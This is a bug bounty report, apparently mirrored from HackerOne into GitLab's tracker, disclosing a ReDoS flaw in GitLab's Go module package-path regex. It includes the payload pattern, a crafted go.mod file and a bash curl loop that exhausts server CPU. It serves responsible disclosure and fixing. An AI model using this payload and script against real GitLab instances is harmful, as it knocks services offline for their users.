ReDoS in gomod dependency linker
HackerOne report #2359528 by joaxcar on 2024-02-09, assigned to @cmaxim:
Report | Attachments | How To Reproduce
Report
Summary
This is the regexp to check for go package paths
def go_package_regex  
        # A Go package name looks like a URL but is not; it:  
        #   - Must not have a scheme, such as http:// or https://  
        #   - Must not have a port number, such as :8080 or :8443
        [@]go_package_regex ||= %r{  
          \b (?# word boundary)  
          (?<domain>  
            [0-9a-z](?:(?:-|[0-9a-z]){0,61}[0-9a-z])? (?# first domain)  
            (?:\.[0-9a-z](?:(?:-|[0-9a-z]){0,61}[0-9a-z])?)* (?# inner domains)  
            \.[a-z]{2,} (?# top-level domain)  
          )  
          (?<path>/(?:  
            [-/$_.+!*'(),0-9a-z] (?# plain URL character)  
            | %[0-9a-f]{2})* (?# URL encoded character)  
          )? (?# path)  
          \b (?# word boundary)  
        }ix  
      end  It a quite an advanced regex, and it is vulnerable to catastrophic backtracking.
This regex is used as a part in the gomod linker like this
      REGEX = Regexp.new("(?<name>#{NAME.source})(?:\\s+(?<version>v#{SEMVER.source}))?", SEMVER.options | NAME.options).freeze  An attacker can craft a payload of this structure
'a.a' + '0.0'.repeat(20000)  By creating a file looking like this
module example.com/mymodule
go 1.14
require (  
    a.a0.00.00. <BIG_PAYLOAD> .00.00.0 v1.2.3  
)the attacker can make the GitLab instance unresponsive by sending 1 request a second to
https://gitlab.example.com/GROUP/PROJECT/-/blob/main/go.mod?ref_type=heads&format=json&viewer=simple
to put all CPUs at max capacity (tested on 1K reference architecture)
Steps to reproduce
Use a local hosted Gitlab server
- Log in to Gitlab
- Create a new project (or use an existing one) make it public (for ease of attack)
- Upload the file attached here (or create your own one named go.mod)
- Visit https://gitlab.example.com/GROUP/PROJECT/-/blob/main/go.mod?ref_type=heads&format=json&viewer=simple
- Look in devtools that the request will eventually fail
- To exhaust the server run this script in a terminal (change the URL)
###  !/bin/bash  
###  URL to which the curl request will be made  
URL="http://20.236.120.94/root/test/-/blob/main/go.mod?format=json&viewer=simple"
###  Duration for the loop to run: 1 minute (60 seconds)  
DURATION=60
###  Start time  
START_TIME=$(date +%s)
###  Loop until the duration is reached  
while [ $(($(date +%s) - START_TIME)) -lt $DURATION ]; do  
    # Make the curl request  
    curl $URL &
    # Wait for 1 second  
    sleep 1  
done  - SSH into the gitlab server and use toporhtopto view the CPU usage
Impact
DOS of gitlab instance and exhaustive resource consumption
What is the current bug behavior?
Creating a malicious go.mod file will cause REDOS
What is the expected correct behavior?
The go.mod file should not cause ReDos
Impact
DOS of gitlab instance and exhaustive resource consumption
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
